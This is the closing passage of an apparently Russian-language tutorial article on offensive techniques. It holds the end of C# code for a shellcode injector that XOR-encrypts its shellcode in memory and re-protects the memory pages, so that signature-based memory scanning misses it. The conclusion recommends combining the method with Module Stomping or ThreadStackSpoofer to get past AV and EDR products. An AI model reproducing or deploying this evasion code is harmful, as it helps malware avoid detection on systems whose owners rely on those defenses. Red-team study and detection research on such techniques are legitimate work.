Console.WriteLine("(FluctuateShellcodeMiniHook) [DEBUG] Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.ToInt64()) + $" to {newProtect}");
else
throw new Exception("(FluctuateShellcodeMiniHook) [-] VirtualProtect");
}
void XorMemory()
{
byte[] data = new byte[shellcodeLength];
Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);
for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];
Marshal.Copy(data, 0, shellcodeAddress, data.Length);
}
byte[] GenerateXorKey()
{
Random rnd = new Random();
byte[] xorKey = new byte[shellcodeLength];
rnd.NextBytes(xorKey);
return xorKey;
}
}
Выводы
В этой статье мы разобрали базовые основы техники Inline API Hooking и портировали инжектор флуктуирующего шеллкода на C# для обхода сигнатурного сканирования памяти.
Стоит отметить, что разобранный код все еще продолжает оставаться «доказательством концепции», и не стоит ожидать от него волшебных возможностей обхода зрелых AV и EDR прямо «из коробки» (все же мы использовали наиболее банальную технику инжекта). Можешь обратить внимание на более продвинутые техники инжекта шеллкода, как например Module Stomping или ThreadStackSpoofer и комбинировать их с техникой флуктуирующего шеллкода.